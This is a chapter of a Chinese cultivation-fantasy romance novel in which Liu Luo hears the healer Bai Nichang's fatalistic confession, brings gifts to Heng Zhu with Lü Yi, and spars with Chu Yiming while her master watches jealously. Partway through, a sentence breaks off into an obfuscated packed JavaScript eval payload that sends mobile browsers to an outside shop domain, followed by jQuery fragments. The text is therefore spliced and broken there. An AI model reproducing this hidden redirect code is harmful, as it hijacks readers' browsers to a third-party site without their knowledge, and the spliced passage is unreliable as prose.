柳萝回想了片刻,不禁瓶咬上下唇,听见白霓裳继续问:“没用,是吗?”
她的语气很笃定。
柳萝皱起眉头,心急如焚:“那应该怎么办?”
白霓裳抬了一下下巴:“你过来。”
柳萝走到书架前,在她身侧站定。
白霓裳将手中的书卷放回去,抬手,指尖在几卷书脊上依次划过:“药王谷弟子行医济世,这几架书架上是谷内历代医典,上至仙魔大战之前的残卷,下至近百年各州疫病记录,都在这里。”
她停了一下,“凡是有记载的毒,都能在这里找到解法。”
柳萝的目光顺着她的指尖划过。
白霓裳将手放下来:“那日你同我说他中了毒,我还以为是我年纪大了,记性不好,忘了天下还有这样的病。回来之后,我翻阅了每一本医典。”
她转身,眼中清明:“没有哪一本记载了那样的毒。”
柳萝心中凉了半截:“或许是新研制出来的呢?”
白霓裳听见她这么问,忽然笑了一下,她似乎已经预料到柳萝会这么说:“据我观察,他灵台清明,丹田运转正常,经脉流转也没有受阻的痕迹。”
“你说,世上会有毒,不是为了害人而下吗?”她的神色如常,让人看不情绪,也看不出她究竟是不是真的疑惑这个问题。
柳萝站在书架前,攥紧了身侧的指尖,她忽然觉得有些口干,:“那……不是毒?”
白霓裳没有回答那个问题。她只是转身走回桌案后,重新坐下,慢慢地斟了一杯茶。
“你很怕吗?”
柳萝只能看见她喝茶的背影,一时不明白她的意思,但很快,她的心中冒出了一个想法。
白霓裳没有等她,她向来不是一个有耐心的人:“人世太没劲了。”
柳萝惊讶于她会这么说,她走到白霓裳跟前,看着面前这个有些落寞的人影。
落寞?应该用这个词形容圣手吗?
她鲜少在圣手身上看得出情绪,可是白霓裳此时一手扶着茶杯,唇角微微下垂,细眼下瞥,冷若冰霜的容颜上真的显出了几分落寞。
“我的道心碎了两次。”她平铺直叙道。
柳萝瞪大双眼:“什么?”
“很意外吗?”白霓裳抬起头,嘴角微勾,眼中却无半点笑意,“看来,我会成功呢。”
柳萝听着莫名有些难过,她不知道她身上发生了什么,她此时还想不明白白霓裳的话。
“那您会不会有事?”她关心地问。
白霓裳的指尖一颤:“有个东西一直在催促我。无时刻,无处不在。
其实修仙没那么好,想要得到长生,你就一定会失去一些东西。况且,人真的能做到永生吗?
如果无法做到,从你踏上道途的这一刻起,它就会一直鞭策你。有些人修仙不为长生,那他们想要抓住的东西只会比长生更难。”
白霓裳并没有在问她,更像是自言自语:“其实,爱没那么重要,是吧?”
柳萝好像抓住了一点苗头,在白霓裳说这段话的时候,她想起了锦瑟死前的那个眼神。
锦瑟为爱放了手,那白霓裳呢?她真的……爱白涣吗?爱到这个人费尽心机设计她,她也还是要和他成婚。
不是的。与白霓裳的相处告诉柳萝,她是一个很骄傲的人,她爱一个人不会是这样。
于是,柳萝更不明白她说的话了:“那您为了什么呢?”
您做的一切为了什么呢?
“所以,”白霓裳脸上的笑有些自嘲,“说来说去,我也还是为了这个东西。”
她又抿了一口茶:“我如今是个过了今日没有明日的人。你们不一样。”
她起身,眼中又恢复了一片冷漠:“你回去吧。就当我还了你在秘境中的恩情。”
柳萝摇头,还想再说些什么,白霓裳平静地打断她:“我已经走到今日了,死也不会回头。”
“你也别怕,”她最后道,“旁人又能奈何你什么呢?”
柳萝回到屋内,还是恍恍惚惚的。
她倒在床上,脑海里不断浮现出白霓裳说的话。
直到与子琢用膳时,她才调整好情绪,笑着问他:“师尊,你觉得圣手为什么与白涣成婚?”
子琢道:“不知,她行事一向难以捉摸。”
柳萝点点头,没有多说了,她不能把她与圣手的谈话说出去。
即使是子琢也不行。
午膳后,柳萝想着去看看姮珠,走到门前时,传音石又亮了一下。
这次是绿漪,声音轻快,又带着一点小心:“柳萝,我准备了些灵药想给姮珠。你能不能帮我转交一下?”
她又解释:“我跟她还不熟,自己送过去怕她多想……昨天听完会审,我感觉她好可怜,想帮她一点。”
柳萝心中一暖:“我正要去找姮珠呢,走吧,你和我一起过去,我可不做冒名顶替的事。”
传音石那头安静了一瞬,绿漪笑道:“好。”
两人很快在约定的地方碰了面。
绿漪手里提着只药箱,她见柳萝看过来,还是有些担心:“她真的会收吗?”
柳萝肯定道:“放心吧,她肯定会收下的,她要是不收,那这些东西可就要便宜我了。”
绿漪这才弯了一下嘴角,嗔怪地看了她一眼:“哼。”
两人找药王谷的弟子问了问,找到了姮珠的住处。
门半敞着,姮珠正坐在院中的石凳上,像是在低头看一卷什么东西。
柳萝叩了两下门框,姮珠抬起头来,目光从柳萝脸上移到她身后的绿漪身上,微微亮了一下。
柳萝和姮珠走进院子:“姮珠,绿漪说要给你送些东西,非要拉着我一起过来。”
绿漪有些脸红地走上前,把药箱放在石桌上,打开箱口,神情有些紧张:“我炼了一些灵药,还有几样防身的毒。可能算不上什么值钱的东西……”
姮珠低头看着那些被妥帖地分装好的瓷瓶,露出的一双眼动人又温柔:“怎么会。”
“我正缺这些呢。”姮珠真心实意地感激,“绿漪姑娘给我这些,我很高兴。日后你一定要来来东海做客。”
她上前抱了抱绿漪。
绿漪脸红红的,已经被香迷糊了。
“好呀!我吃醋了,你们两个居然把我忘了!”柳萝气鼓鼓地嘟起嘴,张开双臂将她们两个同时抱住。
“这次就算了!下回要是再把我忘了,我可要好好收拾你们!”她笑道。
三人都笑开了花,好一会儿才分开。
“姮珠,我也给你准备了点东西,都放在这个乾坤囊里面了。”柳萝把锦囊系在她腰间,又从袖中拿出一块蓝色的传音石递给她。
“这是能传音的灵石,只要我和绿漪把灵力输进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723482|202398||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去,我们就能随时随地联系了!”柳萝有些遗憾,“上回我给忘了,这次早早的就准备好了!”
绿漪指了指传音石:“这个好!”
姮珠接过传音石,指尖凝出一缕柔和的碧蓝色灵力,轻轻注入石身。
灵力顺着石面缓缓铺展开来,在石心深处留下了一道不可磨灭的印记。
姮珠将传音石递到两人面前:“你们快把灵力传进来。”
柳萝和绿漪依言,指尖同时触上传音石,把灵力传了进去,三道灵力在石心深处缓缓交汇,融进了石身。
姮珠小心地将传音石收进袖中。
柳萝看着她收好后,才开口:“你打算什么时候回去?”
姮珠抬起头,想了想:“等圣手大婚以后,我们就启程回东洲。”
柳萝在心里算了一下日子:“他们明日大婚,那你们后日不就要离开??”
绿漪心中有些惋惜,她才与姮珠熟悉了一点,便要分开了:“后日啊,我才刚认识你,就要分开了。下次再见,也不知道是什么时候了。”
姮珠握住两人的手:“以后可以常联系。等一切安定下来,想见随时都能见。”
三人又说了一会儿话,柳萝和绿漪便起身准备离开了。
姮珠送她们到院门口,朗声说:“明日见!”
柳萝与绿漪分开后,沿着另一条路走回院落。刚转过弯,她便看见一道身影正站在门前,像是已经站了一会儿。
楚熠明听见脚步声,侧过头来看见是她,瞬间扬起笑容:“柳师妹。”
柳萝的脚步微微顿了一下,她走过去,在离他几步远的地方停下来:“楚师兄。”
楚熠明到:“今日有空吗?想找你练剑。”
柳萝看着他的眼睛,想起那根银簪,心中有些复杂:“好,走吧。”
两人去了昨日的地方。
柳萝拔出拭雪时,动作比平时慢了一些,她没有急着起势,开口时语气尽力放得自然:“楚师兄,我们虽然相识的时间很短,但你性格爽朗,就像我的兄长一般。”
楚熠明的身影微微滞了一下,他没有沉默太久,弯起嘴角,语气里没有半点勉强:“做你的兄长,我心甘情愿。”
柳萝不禁皱眉,正想把话说得更清楚一些,楚熠明已经先她一步开口了:“你不要有压力。”
他看着她,目光坦诚:“我知道你没有其他心思。短时间内我也不会再做今早那样的事了。我们就照寻常师兄妹相处就好。”
柳萝心中一松,既然他明白了,她也不会再多说:“好。”
两道剑光便在午后的日光中交错起来。
远处花海中的阴影里,子琢的目光正落在那两道离得极近的身影上。
楚天衡不知什么时候已经走到他旁边,摇着扇子,顺着他的视线望了一眼,随即不怀好意地笑了一声:“诶,你说,要是咱们两个的徒弟喜结良缘,是不是也挺好的?”
子琢抿唇,冷声道:“绝无可能。”
楚天衡扇子的动作顿了一下,他侧过头来,目光在子琢脸上停了一拍,像是在重新打量起这个好友。
不会吧,他是想看热闹,但不是想看这种热闹啊。
他收起了那副玩笑的神色:“子琢,我以为你对她只是师尊对徒弟的占有欲。”
他放低了声音,“徒弟与谁交往,与谁成婚,做师尊的不能干涉吧?”